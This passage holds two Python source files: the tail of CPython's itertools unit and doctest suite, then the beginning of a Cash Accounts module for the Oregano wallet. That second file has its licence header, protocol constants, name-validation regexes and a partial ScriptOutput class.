[10, 10, 10]) def test_stapmap(self): self.assertEqual(list(starmap(pow, [(2,5), (3,2), (10,3)])), [32, 9, 1000]) def test_takewhile(self): self.assertEqual(list(takewhile(lambda x: x<5, [1,4,6,4,1])), [1,4]) class TestPurePythonRoughEquivalents(unittest.TestCase): @staticmethod def islice(iterable, *args): s = slice(*args) start, stop, step = s.start or 0, s.stop or sys.maxsize, s.step or 1 it = iter(range(start, stop, step)) try: nexti = next(it) except StopIteration: # Consume *iterable* up to the *start* position. for i, element in zip(range(start), iterable): pass return try: for i, element in enumerate(iterable): if i == nexti: yield element nexti = next(it) except StopIteration: # Consume to *stop*. for i, element in zip(range(i + 1, stop), iterable): pass def test_islice_recipe(self): self.assertEqual(list(self.islice('ABCDEFG', 2)), list('AB')) self.assertEqual(list(self.islice('ABCDEFG', 2, 4)), list('CD')) self.assertEqual(list(self.islice('ABCDEFG', 2, None)), list('CDEFG')) self.assertEqual(list(self.islice('ABCDEFG', 0, None, 2)), list('ACEG')) # Test items consumed. it = iter(range(10)) self.assertEqual(list(self.islice(it, 3)), list(range(3))) self.assertEqual(list(it), list(range(3, 10))) it = iter(range(10)) self.assertEqual(list(self.islice(it, 3, 3)), []) self.assertEqual(list(it), list(range(3, 10))) # Test that slice finishes in predictable state. c = count() self.assertEqual(list(self.islice(c, 1, 3, 50)), [1]) self.assertEqual(next(c), 3) class TestGC(unittest.TestCase): def makecycle(self, iterator, container): container.append(iterator) next(iterator) del container, iterator def test_accumulate(self): a = [] self.makecycle(accumulate([1,2,a,3]), a) def test_chain(self): a = [] self.makecycle(chain(a), a) def test_chain_from_iterable(self): a = [] self.makecycle(chain.from_iterable([a]), a) def test_combinations(self): a = [] self.makecycle(combinations([1,2,a,3], 3), a) def test_combinations_with_replacement(self): a = [] self.makecycle(combinations_with_replacement([1,2,a,3], 3), a) def test_compress(self): a = [] self.makecycle(compress('ABCDEF', [1,0,1,0,1,0]), a) def test_count(self): a = [] Int = type('Int', (int,), dict(x=a)) self.makecycle(count(Int(0), Int(1)), a) def test_cycle(self): a = [] self.makecycle(cycle([a]*2), a) def test_dropwhile(self): a = [] self.makecycle(dropwhile(bool, [0, a, a]), a) def test_groupby(self): a = [] self.makecycle(groupby([a]*2, lambda x:x), a) def test_issue2246(self): # Issue 2246 -- the _grouper iterator was not included in GC n = 10 keyfunc = lambda x: x for i, j in groupby(range(n), key=keyfunc): keyfunc.__dict__.setdefault('x',[]).append(j) def test_filter(self): a = [] self.makecycle(filter(lambda x:True, [a]*2), a) def test_filterfalse(self): a = [] self.makecycle(filterfalse(lambda x:False, a), a) def test_zip(self): a = [] self.makecycle(zip([a]*2, [a]*3), a) def test_zip_longest(self): a = [] self.makecycle(zip_longest([a]*2, [a]*3), a) b = [a, None] self.makecycle(zip_longest([a]*2, [a]*3, fillvalue=b), a) def test_map(self): a = [] self.makecycle(map(lambda x:x, [a]*2), a) def test_islice(self): a = [] self.makecycle(islice([a]*2, None), a) def test_pairwise(self): a = [] self.makecycle(pairwise([a]*5), a) def test_permutations(self): a = [] self.makecycle(permutations([1,2,a,3], 3), a) def test_product(self): a = [] self.makecycle(product([1,2,a,3], repeat=3), a) def test_repeat(self): a = [] self.makecycle(repeat(a), a) def test_starmap(self): a = [] self.makecycle(starmap(lambda *t: t, [(a,a)]*2), a) def test_takewhile(self): a = [] self.makecycle(takewhile(bool, [1, 0, a, a]), a) def R(seqn): 'Regular generator' for i in seqn: yield i class G: 'Sequence using __getitem__' def __init__(self, seqn): self.seqn = seqn def __getitem__(self, i): return self.seqn[i] class I: 'Sequence using iterator protocol' def __init__(self, seqn): self.seqn = seqn self.i = 0 def __iter__(self): return self def __next__(self): if self.i >= len(self.seqn): raise StopIteration v = self.seqn[self.i] self.i += 1 return v class Ig: 'Sequence using iterator protocol defined with a generator' def __init__(self, seqn): self.seqn = seqn self.i = 0 def __iter__(self): for val in self.seqn: yield val class X: 'Missing __getitem__ and __iter__' def __init__(self, seqn): self.seqn = seqn self.i = 0 def __next__(self): if self.i >= len(self.seqn): raise StopIteration v = self.seqn[self.i] self.i += 1 return v class N: 'Iterator missing __next__()' def __init__(self, seqn): self.seqn = seqn self.i = 0 def __iter__(self): return self class E: 'Test propagation of exceptions' def __init__(self, seqn): self.seqn = seqn self.i = 0 def __iter__(self): return self def __next__(self): 3 // 0 class S: 'Test immediate stop' def __init__(self, seqn): pass def __iter__(self): return self def __next__(self): raise StopIteration def L(seqn): 'Test multiple tiers of iterators' return chain(map(lambda x:x, R(Ig(G(seqn))))) class TestVariousIteratorArgs(unittest.TestCase): def test_accumulate(self): s = [1,2,3,4,5] r = [1,3,6,10,15] n = len(s) for g in (G, I, Ig, L, R): self.assertEqual(list(accumulate(g(s))), r) self.assertEqual(list(accumulate(S(s))), []) self.assertRaises(TypeError, accumulate, X(s)) self.assertRaises(TypeError, accumulate, N(s)) self.assertRaises(ZeroDivisionError, list, accumulate(E(s))) def test_chain(self): for s in ("123", "", range(1000), ('do', 1.2), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): self.assertEqual(list(chain(g(s))), list(g(s))) self.assertEqual(list(chain(g(s), g(s))), list(g(s))+list(g(s))) self.assertRaises(TypeError, list, chain(X(s))) self.assertRaises(TypeError, list, chain(N(s))) self.assertRaises(ZeroDivisionError, list, chain(E(s))) def test_compress(self): for s in ("123", "", range(1000), ('do', 1.2), range(2000,2200,5)): n = len(s) for g in (G, I, Ig, S, L, R): self.assertEqual(list(compress(g(s), repeat(1))), list(g(s))) self.assertRaises(TypeError, compress, X(s), repeat(1)) self.assertRaises(TypeError, compress, N(s), repeat(1)) self.assertRaises(ZeroDivisionError, list, compress(E(s), repeat(1))) def test_product(self): for s in ("123", "", range(1000), ('do', 1.2), range(2000,2200,5)): self.assertRaises(TypeError, product, X(s)) self.assertRaises(TypeError, product, N(s)) self.assertRaises(ZeroDivisionError, product, E(s)) def test_cycle(self): for s in ("123", "", range(1000), ('do', 1.2), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): tgtlen = len(s) * 3 expected = list(g(s))*3 actual = list(islice(cycle(g(s)), tgtlen)) self.assertEqual(actual, expected) self.assertRaises(TypeError, cycle, X(s)) self.assertRaises(TypeError, cycle, N(s)) self.assertRaises(ZeroDivisionError, list, cycle(E(s))) def test_groupby(self): for s in (range(10), range(0), range(1000), (7,11), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): self.assertEqual([k for k, sb in groupby(g(s))], list(g(s))) self.assertRaises(TypeError, groupby, X(s)) self.assertRaises(TypeError, groupby, N(s)) self.assertRaises(ZeroDivisionError, list, groupby(E(s))) def test_filter(self): for s in (range(10), range(0), range(1000), (7,11), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): self.assertEqual(list(filter(isEven, g(s))), [x for x in g(s) if isEven(x)]) self.assertRaises(TypeError, filter, isEven, X(s)) self.assertRaises(TypeError, filter, isEven, N(s)) self.assertRaises(ZeroDivisionError, list, filter(isEven, E(s))) def test_filterfalse(self): for s in (range(10), range(0), range(1000), (7,11), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): self.assertEqual(list(filterfalse(isEven, g(s))), [x for x in g(s) if isOdd(x)]) self.assertRaises(TypeError, filterfalse, isEven, X(s)) self.assertRaises(TypeError, filterfalse, isEven, N(s)) self.assertRaises(ZeroDivisionError, list, filterfalse(isEven, E(s))) def test_zip(self): for s in ("123", "", range(1000), ('do', 1.2), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): self.assertEqual(list(zip(g(s))), lzip(g(s))) self.assertEqual(list(zip(g(s), g(s))), lzip(g(s), g(s))) self.assertRaises(TypeError, zip, X(s)) self.assertRaises(TypeError, zip, N(s)) self.assertRaises(ZeroDivisionError, list, zip(E(s))) def test_ziplongest(self): for s in ("123", "", range(1000), ('do', 1.2), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): self.assertEqual(list(zip_longest(g(s))), list(zip(g(s)))) self.assertEqual(list(zip_longest(g(s), g(s))), list(zip(g(s), g(s)))) self.assertRaises(TypeError, zip_longest, X(s)) self.assertRaises(TypeError, zip_longest, N(s)) self.assertRaises(ZeroDivisionError, list, zip_longest(E(s))) def test_map(self): for s in (range(10), range(0), range(100), (7,11), range(20,50,5)): for g in (G, I, Ig, S, L, R): self.assertEqual(list(map(onearg, g(s))), [onearg(x) for x in g(s)]) self.assertEqual(list(map(operator.pow, g(s), g(s))), [x**x for x in g(s)]) self.assertRaises(TypeError, map, onearg, X(s)) self.assertRaises(TypeError, map, onearg, N(s)) self.assertRaises(ZeroDivisionError, list, map(onearg, E(s))) def test_islice(self): for s in ("12345", "", range(1000), ('do', 1.2), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): self.assertEqual(list(islice(g(s),1,None,2)), list(g(s))[1::2]) self.assertRaises(TypeError, islice, X(s), 10) self.assertRaises(TypeError, islice, N(s), 10) self.assertRaises(ZeroDivisionError, list, islice(E(s), 10)) def test_pairwise(self): for s in ("123", "", range(1000), ('do', 1.2), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): seq = list(g(s)) expected = list(zip(seq, seq[1:])) actual = list(pairwise(g(s))) self.assertEqual(actual, expected) self.assertRaises(TypeError, pairwise, X(s)) self.assertRaises(TypeError, pairwise, N(s)) self.assertRaises(ZeroDivisionError, list, pairwise(E(s))) def test_starmap(self): for s in (range(10), range(0), range(100), (7,11), range(20,50,5)): for g in (G, I, Ig, S, L, R): ss = lzip(s, s) self.assertEqual(list(starmap(operator.pow, g(ss))), [x**x for x in g(s)]) self.assertRaises(TypeError, starmap, operator.pow, X(ss)) self.assertRaises(TypeError, starmap, operator.pow, N(ss)) self.assertRaises(ZeroDivisionError, list, starmap(operator.pow, E(ss))) def test_takewhile(self): for s in (range(10), range(0), range(1000), (7,11), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): tgt = [] for elem in g(s): if not isEven(elem): break tgt.append(elem) self.assertEqual(list(takewhile(isEven, g(s))), tgt) self.assertRaises(TypeError, takewhile, isEven, X(s)) self.assertRaises(TypeError, takewhile, isEven, N(s)) self.assertRaises(ZeroDivisionError, list, takewhile(isEven, E(s))) def test_dropwhile(self): for s in (range(10), range(0), range(1000), (7,11), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): tgt = [] for elem in g(s): if not tgt and isOdd(elem): continue tgt.append(elem) self.assertEqual(list(dropwhile(isOdd, g(s))), tgt) self.assertRaises(TypeError, dropwhile, isOdd, X(s)) self.assertRaises(TypeError, dropwhile, isOdd, N(s)) self.assertRaises(ZeroDivisionError, list, dropwhile(isOdd, E(s))) def test_tee(self): for s in ("123", "", range(1000), ('do', 1.2), range(2000,2200,5)): for g in (G, I, Ig, S, L, R): it1, it2 = tee(g(s)) self.assertEqual(list(it1), list(g(s))) self.assertEqual(list(it2), list(g(s))) self.assertRaises(TypeError, tee, X(s)) self.assertRaises(TypeError, tee, N(s)) self.assertRaises(ZeroDivisionError, list, tee(E(s))[0]) class LengthTransparency(unittest.TestCase): def test_repeat(self): self.assertEqual(operator.length_hint(repeat(None, 50)), 50) self.assertEqual(operator.length_hint(repeat(None, 0)), 0) self.assertEqual(operator.length_hint(repeat(None), 12), 12) def test_repeat_with_negative_times(self): self.assertEqual(operator.length_hint(repeat(None, -1)), 0) self.assertEqual(operator.length_hint(repeat(None, -2)), 0) self.assertEqual(operator.length_hint(repeat(None, times=-1)), 0) self.assertEqual(operator.length_hint(repeat(None, times=-2)), 0) class RegressionTests(unittest.TestCase): def test_sf_793826(self): # Fix Armin Rigo's successful efforts to wreak havoc def mutatingtuple(tuple1, f, tuple2): # this builds a tuple t which is a copy of tuple1, # then calls f(t), then mutates t to be equal to tuple2 # (needs len(tuple1) == len(tuple2)). def g(value, first=[1]): if first: del first[:] f(next(z)) return value items = list(tuple2) items[1:1] = list(tuple1) gen = map(g, items) z = zip(*[gen]*len(tuple1)) next(z) def f(t): global T T = t first[:] = list(T) first = [] mutatingtuple((1,2,3), f, (4,5,6)) second = list(T) self.assertEqual(first, second) def test_sf_950057(self): # Make sure that chain() and cycle() catch exceptions immediately # rather than when shifting between input sources def gen1(): hist.append(0) yield 1 hist.append(1) raise AssertionError hist.append(2) def gen2(x): hist.append(3) yield 2 hist.append(4) hist = [] self.assertRaises(AssertionError, list, chain(gen1(), gen2(False))) self.assertEqual(hist, [0,1]) hist = [] self.assertRaises(AssertionError, list, chain(gen1(), gen2(True))) self.assertEqual(hist, [0,1]) hist = [] self.assertRaises(AssertionError, list, cycle(gen1())) self.assertEqual(hist, [0,1]) @support.skip_if_pgo_task def test_long_chain_of_empty_iterables(self): # Make sure itertools.chain doesn't run into recursion limits when # dealing with long chains of empty iterables. Even with a high # number this would probably only fail in Py_DEBUG mode. it = chain.from_iterable(() for unused in range(10000000)) with self.assertRaises(StopIteration): next(it) def test_issue30347_1(self): def f(n): if n == 5: list(b) return n != 6 for (k, b) in groupby(range(10), f): list(b) # shouldn't crash def test_issue30347_2(self): class K: def __init__(self, v): pass def __eq__(self, other): nonlocal i i += 1 if i == 1: next(g, None) return True i = 0 g = next(groupby(range(10), K))[1] for j in range(2): next(g, None) # shouldn't crash class SubclassWithKwargsTest(unittest.TestCase): def test_keywords_in_subclass(self): # count is not subclassable... for cls in (repeat, zip, filter, filterfalse, chain, map, starmap, islice, takewhile, dropwhile, cycle, compress): class Subclass(cls): def __init__(self, newarg=None, *args): cls.__init__(self, *args) try: Subclass(newarg=1) except TypeError as err: # we expect type errors because of wrong argument count self.assertNotIn("keyword arguments", err.args[0]) @support.cpython_only class SizeofTest(unittest.TestCase): def setUp(self): self.ssize_t = struct.calcsize('n') check_sizeof = support.check_sizeof def test_product_sizeof(self): basesize = support.calcobjsize('3Pi') check = self.check_sizeof check(product('ab', '12'), basesize + 2 * self.ssize_t) check(product(*(('abc',) * 10)), basesize + 10 * self.ssize_t) def test_combinations_sizeof(self): basesize = support.calcobjsize('3Pni') check = self.check_sizeof check(combinations('abcd', 3), basesize + 3 * self.ssize_t) check(combinations(range(10), 4), basesize + 4 * self.ssize_t) def test_combinations_with_replacement_sizeof(self): cwr = combinations_with_replacement basesize = support.calcobjsize('3Pni') check = self.check_sizeof check(cwr('abcd', 3), basesize + 3 * self.ssize_t) check(cwr(range(10), 4), basesize + 4 * self.ssize_t) def test_permutations_sizeof(self): basesize = support.calcobjsize('4Pni') check = self.check_sizeof check(permutations('abcd'), basesize + 4 * self.ssize_t + 4 * self.ssize_t) check(permutations('abcd', 3), basesize + 4 * self.ssize_t + 3 * self.ssize_t) check(permutations('abcde', 3), basesize + 5 * self.ssize_t + 3 * self.ssize_t) check(permutations(range(10), 4), basesize + 10 * self.ssize_t + 4 * self.ssize_t) libreftest = """ Doctest for examples in the library reference: libitertools.tex >>> amounts = [120.15, 764.05, 823.14] >>> for checknum, amount in zip(count(1200), amounts): ... print('Check %d is for $%.2f' % (checknum, amount)) ... Check 1200 is for $120.15 Check 1201 is for $764.05 Check 1202 is for $823.14 >>> import operator >>> for cube in map(operator.pow, range(1,4), repeat(3)): ... print(cube) ... 1 8 27 >>> reportlines = ['EuroPython', 'Roster', '', 'alex', '', 'laura', '', 'martin', '', 'walter', '', 'samuele'] >>> for name in islice(reportlines, 3, None, 2): ... print(name.title()) ... Alex Laura Martin Walter Samuele >>> from operator import itemgetter >>> d = dict(a=1, b=2, c=1, d=2, e=1, f=2, g=3) >>> di = sorted(sorted(d.items()), key=itemgetter(1)) >>> for k, g in groupby(di, itemgetter(1)): ... print(k, list(map(itemgetter(0), g))) ... 1 ['a', 'c', 'e'] 2 ['b', 'd', 'f'] 3 ['g'] # Find runs of consecutive numbers using groupby. The key to the solution # is differencing with a range so that consecutive numbers all appear in # same group. >>> data = [ 1, 4,5,6, 10, 15,16,17,18, 22, 25,26,27,28] >>> for k, g in groupby(enumerate(data), lambda t:t[0]-t[1]): ... print(list(map(operator.itemgetter(1), g))) ... [1] [4, 5, 6] [10] [15, 16, 17, 18] [22] [25, 26, 27, 28] >>> def take(n, iterable): ... "Return first n items of the iterable as a list" ... return list(islice(iterable, n)) >>> def prepend(value, iterator): ... "Prepend a single value in front of an iterator" ... # prepend(1, [2, 3, 4]) -> 1 2 3 4 ... return chain([value], iterator) >>> def enumerate(iterable, start=0): ... return zip(count(start), iterable) >>> def tabulate(function, start=0): ... "Return function(0), function(1), ..." ... return map(function, count(start)) >>> import collections >>> def consume(iterator, n=None): ... "Advance the iterator n-steps ahead. If n is None, consume entirely." ... # Use functions that consume iterators at C speed. ... if n is None: ... # feed the entire iterator into a zero-length deque ... collections.deque(iterator, maxlen=0) ... else: ... # advance to the empty slice starting at position n ... next(islice(iterator, n, n), None) >>> def nth(iterable, n, default=None): ... "Returns the nth item or a default value" ... return next(islice(iterable, n, None), default) >>> def all_equal(iterable): ... "Returns True if all the elements are equal to each other" ... g = groupby(iterable) ... return next(g, True) and not next(g, False) >>> def quantify(iterable, pred=bool): ... "Count how many times the predicate is true" ... return sum(map(pred, iterable)) >>> def pad_none(iterable): ... "Returns the sequence elements and then returns None indefinitely" ... return chain(iterable, repeat(None)) >>> def ncycles(iterable, n): ... "Returns the sequence elements n times" ... return chain(*repeat(iterable, n)) >>> def dotproduct(vec1, vec2): ... return sum(map(operator.mul, vec1, vec2)) >>> def flatten(listOfLists): ... return list(chain.from_iterable(listOfLists)) >>> def repeatfunc(func, times=None, *args): ... "Repeat calls to func with specified arguments." ... " Example: repeatfunc(random.random)" ... if times is None: ... return starmap(func, repeat(args)) ... else: ... return starmap(func, repeat(args, times)) >>> def grouper(n, iterable, fillvalue=None): ... "grouper(3, 'ABCDEFG', 'x') --> ABC DEF Gxx" ... args = [iter(iterable)] * n ... return zip_longest(*args, fillvalue=fillvalue) >>> def roundrobin(*iterables): ... "roundrobin('ABC', 'D', 'EF') --> A D E B F C" ... # Recipe credited to George Sakkis ... pending = len(iterables) ... nexts = cycle(iter(it).__next__ for it in iterables) ... while pending: ... try: ... for next in nexts: ... yield next() ... except StopIteration: ... pending -= 1 ... nexts = cycle(islice(nexts, pending)) >>> def partition(pred, iterable): ... "Use a predicate to partition entries into false entries and true entries" ... # partition(is_odd, range(10)) --> 0 2 4 6 8 and 1 3 5 7 9 ... t1, t2 = tee(iterable) ... return filterfalse(pred, t1), filter(pred, t2) >>> def before_and_after(predicate, it): ... ''' Variant of takewhile() that allows complete ... access to the remainder of the iterator. ... ... >>> all_upper, remainder = before_and_after(str.isupper, 'ABCdEfGhI') ... >>> str.join('', all_upper) ... 'ABC' ... >>> str.join('', remainder) ... 'dEfGhI' ... ... Note that the first iterator must be fully ... consumed before the second iterator can ... generate valid results. ... ''' ... it = iter(it) ... transition = [] ... def true_iterator(): ... for elem in it: ... if predicate(elem): ... yield elem ... else: ... transition.append(elem) ... return ... def remainder_iterator(): ... yield from transition ... yield from it ... return true_iterator(), remainder_iterator() >>> def powerset(iterable): ... "powerset([1,2,3]) --> () (1,) (2,) (3,) (1,2) (1,3) (2,3) (1,2,3)" ... s = list(iterable) ... return chain.from_iterable(combinations(s, r) for r in range(len(s)+1)) >>> def unique_everseen(iterable, key=None): ... "List unique elements, preserving order. Remember all elements ever seen." ... # unique_everseen('AAAABBBCCDAABBB') --> A B C D ... # unique_everseen('ABBCcAD', str.lower) --> A B C D ... seen = set() ... seen_add = seen.add ... if key is None: ... for element in iterable: ... if element not in seen: ... seen_add(element) ... yield element ... else: ... for element in iterable: ... k = key(element) ... if k not in seen: ... seen_add(k) ... yield element >>> def unique_justseen(iterable, key=None): ... "List unique elements, preserving order. Remember only the element just seen." ... # unique_justseen('AAAABBBCCDAABBB') --> A B C D A B ... # unique_justseen('ABBCcAD', str.lower) --> A B C A D ... return map(next, map(itemgetter(1), groupby(iterable, key))) >>> def first_true(iterable, default=False, pred=None): ... '''Returns the first true value in the iterable. ... ... If no true value is found, returns *default* ... ... If *pred* is not None, returns the first item ... for which pred(item) is true. ... ... ''' ... # first_true([a,b,c], x) --> a or b or c or x ... # first_true([a,b], x, f) --> a if f(a) else b if f(b) else x ... return next(filter(pred, iterable), default) >>> def nth_combination(iterable, r, index): ... 'Equivalent to list(combinations(iterable, r))[index]' ... pool = tuple(iterable) ... n = len(pool) ... if r < 0 or r > n: ... raise ValueError ... c = 1 ... k = min(r, n-r) ... for i in range(1, k+1): ... c = c * (n - k + i) // i ... if index < 0: ... index += c ... if index < 0 or index >= c: ... raise IndexError ... result = [] ... while r: ... c, n, r = c*r//n, n-1, r-1 ... while index >= c: ... index -= c ... c, n = c*(n-r)//n, n-1 ... result.append(pool[-1-n]) ... return tuple(result) This is not part of the examples but it tests to make sure the definitions perform as purported. >>> take(10, count()) [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] >>> list(prepend(1, [2, 3, 4])) [1, 2, 3, 4] >>> list(enumerate('abc')) [(0, 'a'), (1, 'b'), (2, 'c')] >>> list(islice(tabulate(lambda x: 2*x), 4)) [0, 2, 4, 6] >>> it = iter(range(10)) >>> consume(it, 3) >>> next(it) 3 >>> consume(it) >>> next(it, 'Done') 'Done' >>> nth('abcde', 3) 'd' >>> nth('abcde', 9) is None True >>> [all_equal(s) for s in ('', 'A', 'AAAA', 'AAAB', 'AAABA')] [True, True, True, False, False] >>> quantify(range(99), lambda x: x%2==0) 50 >>> a = [[1, 2, 3], [4, 5, 6]] >>> flatten(a) [1, 2, 3, 4, 5, 6] >>> list(repeatfunc(pow, 5, 2, 3)) [8, 8, 8, 8, 8] >>> import random >>> take(5, map(int, repeatfunc(random.random))) [0, 0, 0, 0, 0] >>> list(islice(pad_none('abc'), 0, 6)) ['a', 'b', 'c', None, None, None] >>> list(ncycles('abc', 3)) ['a', 'b', 'c', 'a', 'b', 'c', 'a', 'b', 'c'] >>> dotproduct([1,2,3], [4,5,6]) 32 >>> list(grouper(3, 'abcdefg', 'x')) [('a', 'b', 'c'), ('d', 'e', 'f'), ('g', 'x', 'x')] >>> list(roundrobin('abc', 'd', 'ef')) ['a', 'd', 'e', 'b', 'f', 'c'] >>> def is_odd(x): ... return x % 2 == 1 >>> evens, odds = partition(is_odd, range(10)) >>> list(evens) [0, 2, 4, 6, 8] >>> list(odds) [1, 3, 5, 7, 9] >>> all_upper, remainder = before_and_after(str.isupper, 'ABCdEfGhI') >>> str.join('', all_upper) 'ABC' >>> str.join('', remainder) 'dEfGhI' >>> list(powerset([1,2,3])) [(), (1,), (2,), (3,), (1, 2), (1, 3), (2, 3), (1, 2, 3)] >>> all(len(list(powerset(range(n)))) == 2**n for n in range(18)) True >>> list(powerset('abcde')) == sorted(sorted(set(powerset('abcde'))), key=len) True >>> list(unique_everseen('AAAABBBCCDAABBB')) ['A', 'B', 'C', 'D'] >>> list(unique_everseen('ABBCcAD', str.lower)) ['A', 'B', 'C', 'D'] >>> list(unique_justseen('AAAABBBCCDAABBB')) ['A', 'B', 'C', 'D', 'A', 'B'] >>> list(unique_justseen('ABBCcAD', str.lower)) ['A', 'B', 'C', 'A', 'D'] >>> first_true('ABC0DEF1', '9', str.isdigit) '0' >>> population = 'ABCDEFGH' >>> for r in range(len(population) + 1): ... seq = list(combinations(population, r)) ... for i in range(len(seq)): ... assert nth_combination(population, r, i) == seq[i] ... for i in range(-len(seq), 0): ... assert nth_combination(population, r, i) == seq[i] """ __test__ = {'libreftest' : libreftest} def test_main(verbose=None): test_classes = (TestBasicOps, TestVariousIteratorArgs, TestGC, RegressionTests, LengthTransparency, SubclassWithKwargsTest, TestExamples, TestPurePythonRoughEquivalents, SizeofTest) support.run_unittest(*test_classes) # verify reference counting if verbose and hasattr(sys, "gettotalrefcount"): import gc counts = [None] * 5 for i in range(len(counts)): support.run_unittest(*test_classes) gc.collect() counts[i] = sys.gettotalrefcount() print(counts) # doctest the examples in the library reference support.run_doctest(sys.modules[__name__], verbose) if __name__ == "__main__": test_main(verbose=True)
cashacct.py
##!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Oregano - A Ergon SPV Wallet # This file Copyright (c) 2019 Calin Culianu <calin.culianu@gmail.com> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. ''' Cash Accounts related classes and functions. Note that this file also contains a unique class called `ScriptOutput` (which inherits from address.py's own ScriptOutput), so always import this file carefully if also importing address.py. ''' import re import requests import threading import queue import random import time from collections import defaultdict, namedtuple from typing import List, Tuple, Dict from . import bitcoin from . import util from .address import Address, OpCodes, Script, ScriptError, UnknownAddress from .address import ScriptOutput as ScriptOutputBase from .transaction import BCDataStream, Transaction from . import verifier from . import blockchain from . import caches # 'cashacct:' URI scheme. Used by Crescent Cash and Oregano and # other wallets in the future. URI_SCHEME = 'cashacct' # Cash Accounts protocol code prefix is 0x01010101 # See OP_RETURN prefix guideline: https://github.com/bitcoincashorg/bitcoincash.org/blob/master/spec/op_return-prefix-guideline.md protocol_code = bytes.fromhex("01010101") activation_height = 563720 # all cash acct registrations are invalid if they appear before this block height height_modification = activation_height - 100 # compute the cashacct.number by subtracting this value from tx block height collision_hash_length = 10 # DO NOT MODIFY -- this is hard-coded in spec # This RE is used to accept/reject names name_accept_re = re.compile(r'^[a-zA-Z0-9_]{1,99}$') # Accept/reject collision_hash -- must be a number string of precisely length 10 collision_hash_accept_re = re.compile(f'^[0-9]{{{collision_hash_length}}}$') # mapping of Address.kind -> cash account data types _addr_kind_data_types = { Address.ADDR_P2PKH : 0x1, Address.ADDR_P2SH : 0x2 } _unsupported_types = { 0x03, 0x04, 0x83, 0x84 } # negative lengths here indicate advisory and not enforced. _data_type_lengths = { 0x1 : 20, 0x2 : 20, 0x3 : 80, 0x4 : -66, 0x81 : 20, 0x82 : 20, 0x83 : 80, 0x84 : -66 } _data_types_addr_kind = { 0x1 : Address.ADDR_P2PKH, 0x2 : Address.ADDR_P2SH, 0x81 : Address.ADDR_P2PKH, 0x82 : Address.ADDR_P2SH, # FIXME: These should really map to SLP addresses, but this works too. } _preferred_types = { 0x1, 0x2 } # these take precedence over 0x81, 0x82 in the case of multi registrations containing more than 1 type assert set(_unsupported_types) | set(_data_types_addr_kind) == set(_data_type_lengths) def _i2b(val): return bytes((val,)) class ArgumentError(ValueError): '''Raised by various CashAcct functions if the supplied args are bad or out of spec.''' class ScriptOutput(ScriptOutputBase): '''A class to encapsulate a Cash Accounts script output. Use the __new__ or @classmethod factory methods to create instances. Suitable for including in a Transaction as an output. Note: This class is named ScriptOutput like its base. This is intentional and client code should import this file such that referring to this class is module-qualified, eg cashacct.ScriptOutput. Note2: that the Transaction class automatically deserializes TYPE_SCRIPT outputs to instances of this class if the script contents match the CashAccounts protocol (based on boolean result of protocol_match() below). See the address.ScriptOutput 'protocol' mechanism (in address.py).''' _protocol_prefix = _i2b(OpCodes.OP_RETURN) + _i2b(4) + protocol_code # Additional attributes outside of the base class tuple's 1 attribute attrs_extra = ( 'name', 'address', 'addresses', 'number', 'collision_hash', 'emoji' ) @classmethod def _protocol_match_fast(cls, script_bytes): '''Returns true iff the `script_bytes` at least START with the correct protocol code. Useful for fast-matching script outputs and testing if they are potential CashAcct registrations. `script_bytes` should be the full script as a bytes-like-object, including the OP_RETURN byte prefix.''' return script_bytes.startswith(cls._protocol_prefix) @classmethod def protocol_match(cls, script_bytes): '''Returns true iff the `script_bytes` is a valid Cash Accounts registration script (has all the requisite fields, etc).''' try: res = cls.parse_script(script_bytes) return bool(res) except (ValueError, TypeError): return False @classmethod def is_valid(cls, script): '''Alias for protocol_match. Returns true if script is a valid CashAcct registration script.''' return cls.protocol_match(script) def __new__(cls, script, *, number=None, collision_hash=None, emoji=None): '''Instantiate from a script (or address.ScriptOutput) you wish to parse. Use number=, collision_hash=, emoji= kwargs if you also have that information and want to store it in this instance. The script will be parsed and self.name and self.address will be set regardless. Raises ArgumentError on invalid script. Always has the following attributes defined (even if None): name, address, number, collision_hash, emoji ''' if isinstance(script, cls) and not any((number, collision_hash, emoji)): # copy constructor work-alike number, collision_hash, emoji = script.number, script.collision_hash, script.emoji script = cls._ensure_script(script) self = super(__class__, cls).__new__(cls, script) self.name, self.address, self.addresses = self.parse_script(self.script) # raises on error assert self.address in self.addresses self.number, self.collision_hash, self.emoji = None, None, None # ensure attributes defined self.make_complete2(number, collision_hash, emoji=emoji) # raises if number bad and/or if collision_hash is bad, otherwise just sets attributes. None ok for args. return self def copy(self): ''' Creates a copy. ''' return ScriptOutput(self) @staticmethod def _check_name_address(name, address, *, allow_unknown=False, addresses=None): '''Raises ArgumentError if either name or address are somehow invalid.''' if not isinstance(name, str) or not name_accept_re.match(name): raise ArgumentError('Invalid name specified: must be an alphanumeric ascii string of length 1-99', name) if name != name.encode('ascii', errors='ignore').decode('ascii', errors='ignore'): # <-- ensure ascii. Note that this test is perhaps superfluous but the mysteries of unicode and how re's deal with it elude me, so it's here just in case. raise ArgumentError('Name must be pure ascii', name) if addresses is None: addresses = [address] if address not in addresses: raise ArgumentError('Address not in address list', 